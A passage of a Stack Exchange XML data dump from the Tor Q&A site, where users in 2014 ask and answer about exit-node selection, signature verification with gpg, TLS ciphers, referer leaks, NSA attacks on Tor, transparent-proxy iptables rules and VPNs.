&lt;code&gt;238&lt;/code&gt; with &lt;code&gt;Wgg&lt;/code&gt;, so &lt;code&gt;238*5855=1393490&lt;/code&gt;.  The reason is that this relay has the &lt;code&gt;Guard&lt;/code&gt; flag, but not the &lt;code&gt;Exit&lt;/code&gt; flag.  Your client does that for all relays and then selects one of them.&lt;/p&gt;&#xA;" OwnerUserId="119" LastActivityDate="2014-05-09T08:13:04.053" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2074" PostTypeId="1" CreationDate="2014-05-09T12:42:28.380" Score="1" ViewCount="5934" Body="&lt;p&gt;I need Tor to use proxy only from Italy,how can I do that?&lt;/p&gt;&#xA;" OwnerUserId="1733" LastEditorUserId="923" LastEditDate="2014-05-10T11:26:42.390" LastActivityDate="2014-05-10T11:26:42.390" Title="How to make Tor use italian only proxy?" Tags="|tor-browser-bundle|security|configuration|circuit|firefox|" AnswerCount="1" CommentCount="1" ClosedDate="2014-05-12T12:34:43.317" ContentLicense="CC BY-SA 3.0" />
  <row Id="2076" PostTypeId="2" ParentId="2074" CreationDate="2014-05-09T18:35:46.983" Score="0" Body="&lt;p&gt;Assuming you mean not &quot;proxy&quot;, but instead &quot;exit node&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, know that restricting your exit nodes to a small subset can reduce your anonymity set and make you easier to unmask.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An actual proxy or VPN that terminates within the country you want (Italy) may be a better (faster, more sure) option for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need the Tor anonymity capabilities which still remain after you restrict your exit nodes, then you can try to set options to make Tor select exit nodes only from a given country.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple caveats:  Tor sometimes knows, via 3rd party geolocation data, which nodes are in which country's IP space.  A country's IP space may or may not correspond to the physical location of the machines using those IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make Tor use Italian ({it}) label exit nodes, put &quot;ExitNodes {it}&quot; in your Tor Browser Bundle's configuration file.  As noted above, these exit nodes may not actually be in Italy, but the odds are OK that they are.  Note that you will likely find more exit nodes labeled {us} and {de} than {it}.&lt;/p&gt;&#xA;" OwnerUserId="314" LastActivityDate="2014-05-09T18:35:46.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2078" PostTypeId="1" CreationDate="2014-05-10T12:47:32.803" Score="3" ViewCount="13621" Body="&lt;p&gt;Downloaded the file for Win7, also Gpg4Win. Mentioned .asc file did not accompany Tor, in spite of the description on the Torsite. Other ways of verification I could not find. &#xA;Nevertheless I followed the description involving Gpg4Win under &quot;How to verify signatures for packages&quot; via cmd.exe, it did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I verify Tor Browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS:Gpg seems not to be in English available?&lt;/p&gt;&#xA;" OwnerUserId="1741" LastEditorUserId="923" LastEditDate="2014-05-11T13:12:05.743" LastActivityDate="2014-06-25T06:27:10.317" Title="Tor Browser-how to verify signature?" Tags="|tor-browser-bundle|verification|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2079" PostTypeId="1" CreationDate="2014-05-10T20:28:10.290" Score="1" ViewCount="291" Body="&lt;p&gt;When I shutdown Tails it says everything is completed except there's a big warning next to &quot;tails using make-file like concurrent boot at level 0&quot; this has got me sort of worried that I may have downloaded a modified version or something. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified the iso using kleopatra but I never went through the any more advanced steps (like web of trust), is this message something normal and not worth worrying about? Or is this a minor safety issue? Have downloaded a forged version of tails? Is this potentially dangerous? &lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-05-20T12:39:27.923" Title="Warning message at tails shutdown, is this normal?" Tags="|anonymity|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2080" PostTypeId="1" CreationDate="2014-05-10T20:43:48.450" Score="4" ViewCount="3897" Body="&lt;p&gt;How can I configure Tor, with the Flash player, for &lt;strong&gt;ONLY&lt;/strong&gt; accessing region-banned videos?&lt;/p&gt;&#xA;" OwnerUserId="1214" LastEditorUserId="1214" LastEditDate="2014-05-18T22:21:48.527" LastActivityDate="2017-12-11T05:22:58.497" Title="Any way to use Flash with Tor (to ONLY view country-blocked video streams)?" Tags="|configuration|windows|censorship|plugin|network-configuration|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2082" PostTypeId="1" CreationDate="2014-05-11T15:14:39.580" Score="2" ViewCount="101" Body="&lt;p&gt;Firefox ESR uses an older version of NSS than the standard Firefox.&#xA;Consequences include TLS 1.2 disabled by default, user can enable it, but it is buggier than the lastest version and it does not include new AES-GCM ciphers.&#xA;The new version also includes support for OCSP stapling, which is supposed to be more privacy friendly than standard OCSP.&#xA;Pale Moon, which also uses Firefox ESR, has succesfully backported the latest NSS in order to have these advantages.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2015-03-10T09:50:31.567" Title="Why not update Tor browser to the latest NSS?" Tags="|security|firefox|tls|ssl|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2084" PostTypeId="2" ParentId="1951" CreationDate="2014-05-11T17:43:50.433" Score="3" Body="&lt;p&gt;AES256, 256 bit keys is just the type of encryption used. Firefox ESR/Tor browser only shows the encryption used, nothing more. You can't see the key-exhange(for example DHE, ECDHE, RSA.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Newer versions of Firefox show the full cipher:&#xA;TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA_256&#xA;This also shows the key-exchange, in this case ECDHE. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FPS ciphers are already supported in TLS 1.0, so enabling TLS 1.2 does not change this.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastActivityDate="2014-05-11T17:43:50.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2085" PostTypeId="2" ParentId="2078" CreationDate="2014-05-11T17:47:39.957" Score="1" Body="&lt;p&gt;You have to download the .asc file yourself. Click the &quot;(sig)&quot; part under the purple download button, left of the language selector:&#xA;&lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I had problems with using the full path to GnuPG as well, go to the folder first: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd C:\Program Files (x86)\Gnu\GnuPg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(This is for 64 bit windows, for 32 bit windows; remove the (x86)&#xA;After that you just type gpg.exe with the commands you want to use, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg.exe --keyserver x-hkp://pool.sks-keyservers.net --recv-keys 0x416F061063FEE659&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="1747" LastEditDate="2014-06-25T06:27:10.317" LastActivityDate="2014-06-25T06:27:10.317" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2086" PostTypeId="2" ParentId="2040" CreationDate="2014-05-11T17:51:45.923" Score="3" Body="&lt;p&gt;Using HTTPS to log in to accounts through tor should be secure as long as the website does not have vulnerabilities or is vulnerable to SSLstrip or similar MITM tools. All packets are fully decrypted by the final (exit) node on a circuit. This means that compromised/rogue exit nodes can see your traffic unless you use additional security measures like encryption or HTTPS. This means that while normally exit nodes wont be able to identify you based on your traffic, if traffic is not encrypted end to end (for example by using HTTPS) the node could determine your identity if you, for example enter your real name into a form on an unencrypted website.&lt;/p&gt;&#xA;" OwnerUserId="1748" LastActivityDate="2014-05-11T17:51:45.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2087" PostTypeId="2" ParentId="2039" CreationDate="2014-05-11T17:55:09.860" Score="0" Body="&lt;p&gt;While this would not not necessarily affect your anonymity it would make tor slower and eat more node bandwidth. This means there would be no real gain, only more unnecesary issues.&lt;/p&gt;&#xA;" OwnerUserId="1748" LastActivityDate="2014-05-11T17:55:09.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2088" PostTypeId="2" ParentId="2017" CreationDate="2014-05-11T18:51:39.057" Score="3" Body="&lt;p&gt;This was caused by this issue with Sophos Anti Virus:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10521&quot; rel=&quot;nofollow noreferrer&quot;&gt;#10521 TBB 3.5 for OS X v. 10.9.1 does not connect to any websites&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Upon further testing of this issue, it was discovered that Sophos&#xA;anti-virus is blocking Tor from making connections.&lt;/p&gt;&#xA;&lt;p&gt;To use TBB 3.5 in a Mac environment, users running Sophos must disable&#xA;the two options found under Preferences &amp;gt; Web Protection:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&amp;quot;Block access to malicious websites...&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&amp;quot;Block malicious downloads from websites...&amp;quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Users are reporting that previous versions of the TBB worked&#xA;concurrently with Sophos.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1666" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-06-06T07:42:51.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2089" PostTypeId="2" ParentId="1951" CreationDate="2014-05-11T21:21:35.803" Score="3" Body="&lt;p&gt;If you enter about:config in the address bar and then search for &quot;ssl3&quot; you will get a list of all approved cypher suites in your FF. If you disable all of them except those that contain the strings DHE (including ECDHE) then it SHOULD force PFS on any ssl connection, assuming of course that the website supports PFS.&lt;/p&gt;&#xA;" OwnerUserId="1749" LastActivityDate="2014-05-11T21:21:35.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2090" PostTypeId="1" CreationDate="2014-05-12T11:56:39.360" Score="1" ViewCount="51" Body="&lt;p&gt;While the website of Torproject uses a 2048 bit certificate, if Forward Secrecy ciphers are used, the key exchange is only 1024 bit:&#xA;&lt;a href=&quot;https://www.ssllabs.com/ssltest/analyze.html?d=torproject.org&quot; rel=&quot;nofollow&quot;&gt;https://www.ssllabs.com/ssltest/analyze.html?d=torproject.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: This is a question to ask people of the Torproject to change the DHE keysize.&lt;/p&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="923" LastEditDate="2014-05-13T14:31:04.803" LastActivityDate="2014-05-13T14:31:04.803" Title="When Forward Secrecy ciphers are used, the Torproject website uses 1024 bit key exchange; Can this be improved?" Tags="|encryption|tls|https|web-hosting|" AnswerCount="0" CommentCount="2" ClosedDate="2014-05-12T14:43:31.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="2092" PostTypeId="1" AcceptedAnswerId="2093" CreationDate="2014-05-13T03:06:07.833" Score="2" ViewCount="357" Body="&lt;p&gt;My question is similar to &lt;a href=&quot;https://tor.stackexchange.com/questions/1860/whats-the-extent-of-the-problem-of-information-leaking-to-exit-node&quot;&gt;What&amp;#39;s the extent of the problem of information leaking to exit node&lt;/a&gt;, but the answer there isn't sufficient for my question.&lt;/p&gt;&#xA;&lt;p&gt;If I send unencrypted information through Tor, e.g. if I send an email (without PGP) which contains personally identifying information, is my privacy compromised? I am worried about the following scenario: suppose I send an email&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hey [recipient],&lt;/p&gt;&#xA;&lt;p&gt;I was thinking about setting up a [sensitive issue] advocacy rally on [date] at [place]. Let me know if you would be interested in supporting the cause.&lt;/p&gt;&#xA;&lt;p&gt;Best wishes,&lt;/p&gt;&#xA;&lt;p&gt;[name]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If I send this email through Tor and it happens to go through a corrupt exit node that is watching for and capturing plaintext, is my privacy compromised? I know the exit node wouldn't know my IP address, but the email directly contains identifying information. Could an exit node read this email?&lt;/p&gt;&#xA;" OwnerUserId="1172" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-02-16T11:40:58.347" Title="Is it safe to send identifying information unencrypted through Tor?" Tags="|anonymity|security|exit-relays|attacks|email|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2093" PostTypeId="2" ParentId="2092" CreationDate="2014-05-13T06:44:41.437" Score="3" Body="&lt;p&gt;Yes, your privacy will be compromised. Please, don't ever rely on unencrypted protocols. This is also true when not using Tor. Your message will not be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the E-Mail header (sender address, used mail software (usually containing version and operating system) etc.) might identify you, just like your style of writing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your use case sounds like it isn't really made for Tor though. From what I understand it is not exactly about anonymity, but more about secure, untracked communication. You might find technologies like &lt;a href=&quot;http://retroshare.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;RetroShare&lt;/a&gt; to fit your use case better. It provides secure chats, emails, forums, instant messaging, etc. Being based on a Friend to Friend network topology it makes it really hard for an attacker to track your communication.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2014-05-13T06:44:41.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2094" PostTypeId="1" CreationDate="2014-05-13T09:51:17.313" Score="2" ViewCount="844" Body="&lt;p&gt;There is some documentation at Tor projects on how to use Tor such as &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en#warning&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download-easy.html.en#warning&lt;/a&gt; &lt;strong&gt;However, if one would like to be very good at using Tor/Anonymity techniques then what would be the best online resources to learn how to use Tor well?&lt;/strong&gt; (please suggest good links) What I am looking for is not just a click and go guide but something with a little more depth. For some people the proper use of Tor may be life or death and proper use would be essential. (If I hand Tor to a friend in Iran then how can he be comfortable just clicking and going? He would want documentation to KNOW that how he was going online was close to a best possible method.)&lt;/p&gt;&#xA;" OwnerUserId="1635" LastEditorUserId="923" LastEditDate="2014-05-13T10:26:59.843" LastActivityDate="2014-11-11T01:46:38.980" Title="What are good Tor resources?" Tags="|anonymity|configuration|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2095" PostTypeId="2" ParentId="1537" CreationDate="2014-05-13T17:02:17.110" Score="4" Body="&lt;p&gt;It's fixed for &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10419&quot; rel=&quot;nofollow&quot;&gt;bug #10419&lt;/a&gt;. Instead of a proper fix it &quot;routes&quot; localhost over Tor. See&#xA;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10419#comment:32&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/ticket/10419#comment:32&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="88" LastEditDate="2014-05-14T08:37:21.027" LastActivityDate="2014-05-14T08:37:21.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2096" PostTypeId="2" ParentId="2092" CreationDate="2014-05-13T20:15:43.543" Score="4" Body="&lt;p&gt;You need to accept that all things flowing through an exit node are most likely analyzed by big brother government. Everything you send must keep your anonymity. If you are deploying sensitive information, you need to use encryption. &lt;/p&gt;&#xA;" OwnerUserId="1758" LastEditorUserId="923" LastEditDate="2015-02-16T11:40:58.347" LastActivityDate="2015-02-16T11:40:58.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2098" PostTypeId="1" AcceptedAnswerId="10082" CreationDate="2014-05-14T19:51:45.903" Score="6" ViewCount="1817" Body="&lt;p&gt;It occurred to me that the HTTP 'referer' header field leaks information&#xA;about your browsing history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the flurry of recommendations and tips on how to guard your privacy&#xA;/ stay anonymous online that I have seen over the past year (such as&#xA;the BestVPN.com list), I don't recall seeing the HTTP 'referer' header&#xA;mentioned. But I could just not have been paying attention to the&#xA;correct channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured that if any project would be sensitive to this kind of leak,&#xA;it would be the Tor project. So, using the latest version of the Tor&#xA;Browser, I created a hyperlink to the following URL on a test web page&#xA;of mine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.whatismyreferer.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.whatismyreferer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure enough, clicking on the test link on my personal webpage took me to&#xA;that URL, and the webpage dutifully reported the HTTP 'referer' header&#xA;information. It was not blocked nor obscured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that people might visit websites that fully or&#xA;partially identify them, and then follow links to sites that will then&#xA;track/log the HTTP 'referer' information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not clear to me how much damage could be caused by this kind of&#xA;information leak, but I thought I would ask Tor experts &#xA;as to whether this is a legitimate concern or not.&lt;/p&gt;&#xA;" OwnerUserId="1764" LastEditorUserId="923" LastEditDate="2014-06-23T15:17:35.447" LastActivityDate="2022-07-27T04:17:45.373" Title="Is it a serious anonymity/privacy issue that Tor doesn't scrub 'HTTP referer' information?" Tags="|tor-browser-bundle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2099" PostTypeId="2" ParentId="2098" CreationDate="2014-05-14T21:05:53.427" Score="5" Body="&lt;p&gt;This was changed several years ago in &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3809&quot; rel=&quot;noreferrer&quot;&gt;ticket #3809, Remove referer spoofing support&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Referer spoofing breaks browser navigation due to an interaction with our content policy. We could alter the content policy, but that would make the toggle model even less safe, because of Firefox API limitations. Basically the fix would increase the probability that some requests might leak through from one torbutton state to another.&lt;/p&gt;&#xA;&lt;p&gt;I am kind of torn. On the one hand, since we're don't really support the toggle model, it might be fine to make it (more) insecure. However, I don't really think the referrer blocking feature is very useful, and I am planning on removing it in the next major release.. So to break it for this reason seems kind of silly.&lt;/p&gt;&#xA;&lt;p&gt;Hence, let's hide the referer spoofing option, demoting it to an about:config pref only, to prevent people from breaking their TBBs with it.&lt;/p&gt;&#xA;&lt;p&gt;We will remove the pref entirely in a future release.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1765" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2014-05-14T21:05:53.427" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2100" PostTypeId="1" AcceptedAnswerId="2116" CreationDate="2014-05-14T22:30:35.430" Score="5" ViewCount="1188" Body="&lt;p&gt;I am running Tails version .22.0. I downloaded version .23 and the sig file (under the verify signature command). It was reported as a bad signature. This happened again with the 1.0 download. I have tried a few different ways of verifying the signature - same result. Does anyone have any idea what has been happening? Is this an actual attack? Could the key I downloaded with .22 have been tampered with (in which case the software is probably also comprimised)?&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-05-18T01:28:42.250" Title="Tails download repeatedly showing bad signature" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2101" PostTypeId="2" ParentId="2094" CreationDate="2014-05-14T22:45:29.413" Score="1" Body="&lt;p&gt;Getting a in depth guide is good, but they can never cover everything. It is important to learn the thought processes of computer security and anonymity(knowing when to use a new identity is a basic example of this). I suggest finding text in relation to that as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said you found some documentation on the Tor website - there is probably a lot more if you dig for it, there is also probably a wiki somewhere on the subject (no, not the Hidden Wiki).&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-05-14T22:45:29.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2102" PostTypeId="1" CreationDate="2014-05-15T03:27:44.877" Score="1" ViewCount="45" Body="&lt;p&gt;In &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/3809&quot; rel=&quot;nofollow&quot;&gt;ticket #3809 &quot;Remove referer spoofing support&quot;&lt;/a&gt;, mikeperry wrote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Referer spoofing breaks browser navigation due to an interaction with&#xA;  our content policy.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is the Tor Project's &quot;content policy&quot;? Where is it explained? I did search before asking.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2015-03-10T13:27:09.293" Title="What is the Tor Project's &quot;content policy&quot;? Where is it explained?" Tags="|spoofing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2104" PostTypeId="1" CreationDate="2014-05-15T17:51:57.090" Score="2" ViewCount="197" Body="&lt;p&gt;I briefly read that Tor hidden services use &quot;Entry guards&quot; in the circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason why I shouldn't use the same Tor instance for hosting a Tor hidden service and general internet browsing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="1773" LastEditorUserId="1773" LastEditDate="2014-05-15T19:01:41.487" LastActivityDate="2014-05-25T15:55:13.930" Title="Should I use the same Tor instance for a hidden service and browsing?" Tags="|tor-browser-bundle|onion-services|configuration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2105" PostTypeId="2" ParentId="339" CreationDate="2014-05-16T03:18:36.973" Score="2" Body="&lt;p&gt;It means little to the average user - for the moment - execpt that they are automatically flagged as targets by NSA. That being said, they are also the greatest threat to the Tor network in existance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hundereds of thousands of users daily (according to &lt;a href=&quot;https://metrics.torproject.org/papers/countingusers-2010-11-30.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, I have read it doubled after Snowden leaks in an article talking about total, not daily users). I have read in the Snowden documents that the NSA has tested experimental techniques to de-anonymize 50 or so users (not have the specific source for this number. Not a threat unless they are specifically targetting you above other Tor users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the NSA is considering methods that would mean the end of the Tor network as we know it - such as diverting people into unsafe channels (they don't seem concerned about dissidents getting rounded up and shot, as long as they get their access) or disrupting the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of information on the battle between NSA and Tor is enough for a week long course to be taught on. I suggest everyone read up on this. Even if NSA is not your threat model, the battle between Tor and NSA will determine the ultimate survival of the Tor Network. This rest in large part with the developers, but ordinary users can make a difference s by making themselves harder to identify, thus raising the overall difficulty of attacking the Tor Network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are links to key presenations and articles. Read not just the technical information, but also study how they think and perceive things. Don't expect to sleep well afterwards. Follow the links and do your own searches - this is a big subject. (It will take several temporarily allow all this page to get these to work - the guardian can't store the stuff on their own servers. The GCHQ had them destroyed. &lt;em&gt;The Snowden Files&lt;/em&gt; as source for that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a small sample - there could be a several hour class to understand just NSA - Tor interaction.&#xA;&lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document&quot; rel=&quot;nofollow&quot;&gt;http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/egotistical-giraffe-nsa-tor-document&quot; rel=&quot;nofollow&quot;&gt;http://www.theguardian.com/world/interactive/2013/oct/04/egotistical-giraffe-nsa-tor-document&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption&quot; rel=&quot;nofollow&quot;&gt;http://www.theguardian.com/world/2013/oct/04/nsa-gchq-attack-tor-network-encryption&lt;/a&gt;&#xA;&lt;a href=&quot;http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity&quot; rel=&quot;nofollow&quot;&gt;http://www.theguardian.com/world/2013/oct/04/tor-attacks-nsa-users-online-anonymity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.washingtonpost.com/blogs/the-switch/wp/2013/10/04/everything-you-need-to-know-about-the-nsa-and-tor-in-one-faq/&quot; rel=&quot;nofollow&quot;&gt;http://www.washingtonpost.com/blogs/the-switch/wp/2013/10/04/everything-you-need-to-know-about-the-nsa-and-tor-in-one-faq/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long and highly technical: &#xA;&lt;a href=&quot;http://apps.washingtonpost.com/g/page/world/gchq-report-on-mullenize-program-to-stain-anonymous-electronic-traffic/502/&quot; rel=&quot;nofollow&quot;&gt;http://apps.washingtonpost.com/g/page/world/gchq-report-on-mullenize-program-to-stain-anonymous-electronic-traffic/502/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://apps.washingtonpost.com/g/page/world/nsa-research-report-on-the-tor-encryption-program/501/&quot; rel=&quot;nofollow&quot;&gt;http://apps.washingtonpost.com/g/page/world/nsa-research-report-on-the-tor-encryption-program/501/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-05-16T03:18:36.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2106" PostTypeId="1" CreationDate="2014-05-16T22:19:03.040" Score="2" ViewCount="1528" Body="&lt;p&gt;I'm setting up a Tor-based isolating proxy using the 'Anonymizing Middlebox' iptables rules specified here: &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&quot; rel=&quot;nofollow&quot;&gt;https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i $INT_IF -p udp --dport 53 -j REDIRECT --to-ports 53&#xA;iptables -t nat -A PREROUTING -i $INT_IF -p tcp --syn -j REDIRECT --to-ports 9040&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and the &lt;code&gt;INPUT&lt;/code&gt;, &lt;code&gt;OUTPUT&lt;/code&gt; and &lt;code&gt;FORWARD&lt;/code&gt; chains are left at the default. Would there be any merit to also including the following rules? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -P INPUT DROP&#xA;iptables -P FORWARD DROP&#xA;iptables -P OUTPUT DROP&#xA;&#xA;iptables -A INPUT -i lo -j ACCEPT&#xA;iptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT&#xA;&#xA;iptables -A OUTPUT -o lo -j ACCEPT&#xA;iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or are they rendered unnecessary by my current setup? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any other firewall rules that I should consider in order to improve security and ensure that all traffic is torified? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks. &lt;/p&gt;&#xA;" OwnerUserId="1776" LastActivityDate="2018-12-11T12:03:20.667" Title="How should I configure my Isolating Proxy firewall for optimum security?" Tags="|security|configuration|linux|transparent-proxy|isolation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2107" PostTypeId="2" ParentId="1945" CreationDate="2014-05-16T22:52:46.613" Score="3" Body="&lt;p&gt;It can surely be a great way to increase your anonymity, especially if you trust your VPN provider more than your ISP. Actually it's like replacing your ISP with somebody else. And considering common data retention laws that apply to most of ISPs but not to VPN providers (for example, some of them operate offshore), the winner is obvious. You have also generally much more choices when it comes to VPN providers compared to ISPs. For maximum anonymity, you should buy your VPN service with mixed Bitcoins or via pre-paid/gift cards etc, or get a free one (e.g. securityKISS or riseup.net).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you read &lt;a href=&quot;https://torguard.net/blog/tor-vs-vpn/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; explaining it in more detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When choosing a VPN, one nice feature to look for is &lt;strong&gt;Multihop&lt;/strong&gt; routing. It means that the public IP you get is different than the IP of gateway you're connecting to. This makes traffic analysis attacks somewhat difficult even if we assume that the attacker is monitoring every single Internet tube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this all stands only if you trust the VPN provider that he does not store any logs about your usage. While it can be hard for you to trust some unknown for-profit company to keep their word, you can for sure &lt;strong&gt;trust&lt;/strong&gt; your ISP that he &lt;strong&gt;is&lt;/strong&gt; keeping the logs :-) Finally, business is business and if some VPN provider gives out some customers' data that he was not even supposed to have in the first place, he'll probably loose the business &lt;a href=&quot;http://www.theregister.co.uk/2011/09/26/hidemyass_lulzsec_controversy/&quot; rel=&quot;nofollow&quot;&gt;ending up like HideMyAss&lt;/a&gt;.&lt;/p&gt;&#xA;" 